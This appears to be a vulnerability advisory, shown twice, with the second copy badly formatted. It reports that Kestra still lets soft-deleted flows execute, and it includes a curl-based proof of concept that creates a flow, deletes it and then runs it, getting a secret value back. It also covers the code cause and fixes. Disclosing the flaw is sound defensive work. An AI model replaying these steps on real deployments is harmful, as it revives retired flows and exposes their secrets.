Description
Summary
Deleting a flow in Kestra (DELETE /api/v1/{tenant}/flows/{namespace}/{id}) is a soft delete: it writes a new flow revision with deleted = true. After deletion the flow disappears from the UI, from flow listings/search, and from GET .../flows/{namespace}/{id} (which returns 404).
However, the execution-creation path resolves the flow through FlowService.getFlowIfExecutableOrThrow → FlowRepositoryInterface.findByIdWithoutAcl, and that repository method hard-codes allowDeleted = true. The "latest revision" it returns is therefore the deleted one, and getFlowIfExecutableOrThrow - which rejects disabled and invalid flows but has no check for the deleted state - returns it, and the flow is executed normally.
Consequently, a flow an operator has deleted remains fully executable via the execution API: its tasks run, its logic executes, and it continues to read secrets and produce outputs (demonstrated live below returning the secret value after deletion). Deletion - which operators reasonably treat as a way to revoke a flow (a flow referencing a secret that must no longer be used, or a flow with a dangerous script that must be retired) - does not actually stop the flow from running.
Details
Compare the two repository resolvers - findById honours the caller's flag, but the execution path's findByIdWithoutAcl hard-codes true:
jdbc/src/main/java/io/kestra/jdbc/repository/AbstractJdbcFlowRepository.java (≈163, 185, 193)
// findById(...) - honours caller flag (default false -> excludes deleted)
.where(this.defaultFilter(tenantId, Boolean.TRUE.equals(allowDeleted)))
// findByIdWithoutAcl(...) - hard-codes true -> INCLUDES deleted
.where(this.defaultFilterWithNoACL(tenantId, true))
jdbc/src/main/java/io/kestra/jdbc/repository/AbstractJdbcRepository.java:56-68
// allowDeleted == true -> DELETED_FIELD.in(true, false) (includes deleted rows)
// allowDeleted == false -> DELETED_FIELD.eq(false)
The executable-flow guard checks disabled and invalid, but never deleted:
core/src/main/java/io/kestra/core/services/FlowService.java:613-631
Flow flow = optional.get();
if (flow.isDisabled()) { // refused
throw new IllegalStateException("Requested Flow is disabled.");
}
if (flow instanceof FlowWithException fwe) { // refused
throw new IllegalStateException("Requested Flow is not valid. ...");
}
return flow; // no flow.isDeleted() check -> deleted flow returned
webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java:728,752 - createExecution calls getFlowIfExecutableOrThrow. A disabled flow (a weaker "temporarily off" state) is refused, but a deleted flow (a stronger "removed" state) executes - an inconsistency that leaves deletion unenforced on the execution path.
PoC
Complete, reproducible instructions with real, unredacted values captured from a live run. Reproduced in an ordinary namespace (company.team); the flaw is independent of any authentication issue.
Environment. Kestra v1.3.37 at http://localhost:3031, basic-auth admin@kestra.io / Admin1234! (so Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=). Secret SECRET_MYKEY decodes to S3cr3t-PLAINTEXT-9911.
Step 1 - Create a flow (it logs, and reads a secret, to show secret retention after deletion)
Raw request:
POST /api/v1/main/flows HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=
Content-Type: application/x-yaml
id: deltest
namespace: company.team
tasks:
- id: h
type: io.kestra.plugin.core.log.Log
message: DELETED-FLOW-RAN
- id: sec
type: io.kestra.plugin.core.debug.Return
format: "SECRET-IS::{{ secret('MYKEY') }}"
Command:
curl -s -u 'admin@kestra.io:Admin1234!' -X POST \
-H 'Content-Type: application/x-yaml' --data-binary @deltest.yaml \
http://localhost:3031/api/v1/main/flows
Response: HTTP/1.1 200 OK (flow created).
Step 2 - Delete the flow and confirm it is gone
curl -s -u 'admin@kestra.io:Admin1234!' -X DELETE -o /dev/null -w 'DELETE -> %{http_code}\n' \
http://localhost:3031/api/v1/main/flows/company.team/deltest
curl -s -u 'admin@kestra.io:Admin1234!' -o /dev/null -w 'GET after delete -> %{http_code}\n' \
http://localhost:3031/api/v1/main/flows/company.team/deltest
curl -s -u 'admin@kestra.io:Admin1234!' \
'http://localhost:3031/api/v1/main/flows/search?namespace=company.team' | grep -o '"deltest"'
Output:
DELETE -> 204
GET after delete -> 404
(no output - the flow is NOT listed in search)
The flow is deleted: 404 on direct fetch, and absent from search.
Step 3 - Execute the deleted flow anyway
Raw request:
POST /api/v1/main/executions/company.team/deltest?wait=true HTTP/1.1
Host: localhost:3031
Authorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=
Command:
curl -s -u 'admin@kestra.io:Admin1234!' --path-as-is -X POST \
'http://localhost:3031/api/v1/main/executions/company.team/deltest?wait=true'
Response: HTTP/1.1 200 OK, execution id 4mEV8hVhSMcOOi7crok2EO. Load-bearing fields:
{
"id": "4mEV8hVhSMcOOi7crok2EO",
"namespace": "company.team",
"flowId": "deltest",
"flowRevision": 4,
"state": { "current": "SUCCESS" },
"taskRunList": [
{ "taskId": "h", "state": { "current": "SUCCESS" } },
{ "taskId": "sec", "outputs": { "value": "SECRET-IS::S3cr3t-PLAINTEXT-9911" },
"state": { "current": "SUCCESS" } }
]
}
The deleted flow ran to SUCCESS. flowRevision: 4 is the soft-delete-marker revision - i.e. the very revision produced by the DELETE is what executed. The sec task still resolved and returned the secret (SECRET-IS::S3cr3t-PLAINTEXT-9911), proving a deleted flow retains full secret access.
Differential summary (all captured live)
Operation on company.team/deltest after DELETE (204) |
Result |
GET /flows/company.team/deltest |
404 (deleted) |
GET /flows/search?namespace=company.team |
not listed (deleted) |
POST /executions/company.team/deltest?wait=true |
200, executes to SUCCESS, secret returned |
Single variable: the same flow id, after deletion, is invisible to read/list APIs but still executable by the execution API - the deleted state is not honoured on the execution path.
Impact
This is a resource-lifecycle / access-control flaw (operation on a released resource).
- Deletion does not revoke a flow. A flow removed for operational or security reasons (it used a secret that must be retired, or ran a script that must be discontinued) remains executable and keeps accessing secrets and producing outputs. Operators have a false assurance that a deleted flow can no longer run.
- State / inventory inconsistency. Read/list/search APIs and the UI report the flow as gone while the execution API still runs it - undermining audit and change-management expectations.
- Amplifies any execution-triggering path. Any mechanism that reaches
createExecution (including an unauthenticated route that reaches the same controller) can run flows the operator believes are deleted, enlarging the blast radius of any execution-triggering issue.
Everyone who relies on flow deletion as a revocation/retirement control is affected. In single-tenant OSS the actor is an authenticated user (who could also recreate a flow), so the direct privilege gain is limited; the security-relevant loss is the revocation/audit guarantee of deletion and the amplification of any execution-triggering path.
Remediation
- In
getFlowIfExecutableOrThrow, reject deleted flows explicitly (e.g. if (flow.isDeleted()) throw new IllegalStateException("Requested Flow is deleted.");), alongside the existing disabled/invalid checks.
- Change
findByIdWithoutAcl to resolve with allowDeleted = false for the execution path (as findById already does with its caller-supplied flag), so deleted revisions are not returned as the executable "latest revision".
- Ensure triggers/schedules and the
by-ids / by-query execution endpoints apply the same deleted-state check, so no execution path resurrects a deleted flow.
Description
Summary
Deleting a flow in Kestra (
DELETE /api/v1/{tenant}/flows/{namespace}/{id}) is a soft delete: it writes a new flow revision withdeleted = true. After deletion the flow disappears from the UI, from flow listings/search, and fromGET .../flows/{namespace}/{id}(which returns404).However, the execution-creation path resolves the flow through
FlowService.getFlowIfExecutableOrThrow→FlowRepositoryInterface.findByIdWithoutAcl, and that repository method hard-codesallowDeleted = true. The "latest revision" it returns is therefore the deleted one, andgetFlowIfExecutableOrThrow- which rejects disabled and invalid flows but has no check for the deleted state - returns it, and the flow is executed normally.Consequently, a flow an operator has deleted remains fully executable via the execution API: its tasks run, its logic executes, and it continues to read secrets and produce outputs (demonstrated live below returning the secret value after deletion). Deletion - which operators reasonably treat as a way to revoke a flow (a flow referencing a secret that must no longer be used, or a flow with a dangerous script that must be retired) - does not actually stop the flow from running.
Details
Compare the two repository resolvers -
findByIdhonours the caller's flag, but the execution path'sfindByIdWithoutAclhard-codestrue:jdbc/src/main/java/io/kestra/jdbc/repository/AbstractJdbcFlowRepository.java(≈163, 185, 193)jdbc/src/main/java/io/kestra/jdbc/repository/AbstractJdbcRepository.java:56-68The executable-flow guard checks disabled and invalid, but never deleted:
core/src/main/java/io/kestra/core/services/FlowService.java:613-631webserver/src/main/java/io/kestra/webserver/controllers/api/ExecutionController.java:728,752-createExecutioncallsgetFlowIfExecutableOrThrow. A disabled flow (a weaker "temporarily off" state) is refused, but a deleted flow (a stronger "removed" state) executes - an inconsistency that leaves deletion unenforced on the execution path.PoC
Complete, reproducible instructions with real, unredacted values captured from a live run. Reproduced in an ordinary namespace (
company.team); the flaw is independent of any authentication issue.Environment. Kestra v1.3.37 at
http://localhost:3031, basic-authadmin@kestra.io/Admin1234!(soAuthorization: Basic YWRtaW5Aa2VzdHJhLmlvOkFkbWluMTIzNCE=). SecretSECRET_MYKEYdecodes toS3cr3t-PLAINTEXT-9911.Step 1 - Create a flow (it logs, and reads a secret, to show secret retention after deletion)
Raw request:
Command:
Response:
HTTP/1.1 200 OK(flow created).Step 2 - Delete the flow and confirm it is gone
Output:
The flow is deleted:
404on direct fetch, and absent from search.Step 3 - Execute the deleted flow anyway
Raw request:
Command:
Response:
HTTP/1.1 200 OK, execution id4mEV8hVhSMcOOi7crok2EO. Load-bearing fields:{ "id": "4mEV8hVhSMcOOi7crok2EO", "namespace": "company.team", "flowId": "deltest", "flowRevision": 4, "state": { "current": "SUCCESS" }, "taskRunList": [ { "taskId": "h", "state": { "current": "SUCCESS" } }, { "taskId": "sec", "outputs": { "value": "SECRET-IS::S3cr3t-PLAINTEXT-9911" }, "state": { "current": "SUCCESS" } } ] }The deleted flow ran to
SUCCESS.flowRevision: 4is the soft-delete-marker revision - i.e. the very revision produced by theDELETEis what executed. Thesectask still resolved and returned the secret (SECRET-IS::S3cr3t-PLAINTEXT-9911), proving a deleted flow retains full secret access.Differential summary (all captured live)
company.team/deltestafterDELETE(204)GET /flows/company.team/deltestGET /flows/search?namespace=company.teamPOST /executions/company.team/deltest?wait=trueSingle variable: the same flow id, after deletion, is invisible to read/list APIs but still executable by the execution API - the deleted state is not honoured on the execution path.
Impact
This is a resource-lifecycle / access-control flaw (operation on a released resource).
createExecution(including an unauthenticated route that reaches the same controller) can run flows the operator believes are deleted, enlarging the blast radius of any execution-triggering issue.Everyone who relies on flow deletion as a revocation/retirement control is affected. In single-tenant OSS the actor is an authenticated user (who could also recreate a flow), so the direct privilege gain is limited; the security-relevant loss is the revocation/audit guarantee of deletion and the amplification of any execution-triggering path.
Remediation
getFlowIfExecutableOrThrow, reject deleted flows explicitly (e.g.if (flow.isDeleted()) throw new IllegalStateException("Requested Flow is deleted.");), alongside the existing disabled/invalid checks.findByIdWithoutAclto resolve withallowDeleted = falsefor the execution path (asfindByIdalready does with its caller-supplied flag), so deleted revisions are not returned as the executable "latest revision".by-ids/by-queryexecution endpoints apply the same deleted-state check, so no execution path resurrects a deleted flow.